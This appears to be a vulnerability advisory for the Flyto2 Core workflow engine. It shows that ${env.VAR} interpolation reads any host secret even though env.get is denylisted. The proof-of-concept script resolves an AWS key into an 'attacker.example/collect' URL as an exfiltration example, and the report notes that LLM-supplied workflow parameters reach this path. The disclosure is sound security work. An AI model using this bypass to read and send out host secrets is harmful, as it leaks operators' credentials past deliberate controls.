Flyto2 Core: ${env.VAR} interpolation reads any env secret despite env.get being denylisted

Summary

The capability policy denies the env.get and env.load_dotenv modules by default, with the stated reason that they read arbitrary host environment variables (API keys, DSNs) and are a secret-exfil risk. But the workflow engine's variable resolver expands ${env.VAR} for any environment variable with no allowlist and no policy check, so the exact capability the denylist blocks is available to any workflow parameter. The resolved secret can then be sent out through any allowed module.

Affected code

src/core/engine/variable_resolver.py:

if var_type == 'env':
    if len(parts) < 2:
        return None
    env_var = parts[1]
    return os.getenv(env_var)      # any env var, no allowlist, not covered by module policy

The module policy (enforce_module_policy in module_policy.py) gates module execution at BaseModule.run, but ${...} interpolation happens earlier in the engine and is not subject to it. So denylisting env.get does not actually stop a workflow from reading host env secrets.

Reproduction

Save as envbypass_poc.py, run with PYTHONPATH=src/src python envbypass_poc.py.

#!/usr/bin/env python3
import os
os.environ["AWS_SECRET_ACCESS_KEY"] = "AKIA-operator-super-secret-DO-NOT-LEAK"

from core.module_policy import module_filter
from core.engine.variable_resolver import VariableResolver

print("env.get allowed?       ", module_filter.is_allowed("env.get"))
r = VariableResolver(params={}, context={})
print("resolve ${env.SECRET}: ", r.resolve("${env.AWS_SECRET_ACCESS_KEY}"))
print("into an attacker URL:  ", r.resolve("https://attacker.example/collect?k=${env.AWS_SECRET_ACCESS_KEY}"))

Output:

env.get allowed?        False
resolve ${env.SECRET}:  AKIA-operator-super-secret-DO-NOT-LEAK
into an attacker URL:   https://attacker.example/collect?k=AKIA-operator-super-secret-DO-NOT-LEAK

env.get is denied, yet ${env.AWS_SECRET_ACCESS_KEY} reads the same secret and drops it straight into a URL. Confirmed through the running API too: a POST /v1/workflow/run step with text: "${env.AWS_SECRET_ACCESS_KEY}" resolved to the secret and returned it in the workflow result (in plaintext — the trace redaction did not mask it).

Reachability (why this is not operator self-service)

The vendor denies env.get by default and states the reason inline — reading arbitrary host env vars is a secret-exfil risk. That default only makes sense against an untrusted workflow/agent, which is precisely the caller here: workflow parameters and step values come from the LLM through the MCP tool surface or from a hosted-API client, not from the trusted operator. gives that same denied capability with no gate, so it is a direct bypass of a control the vendor deliberately turned on — not intended behavior.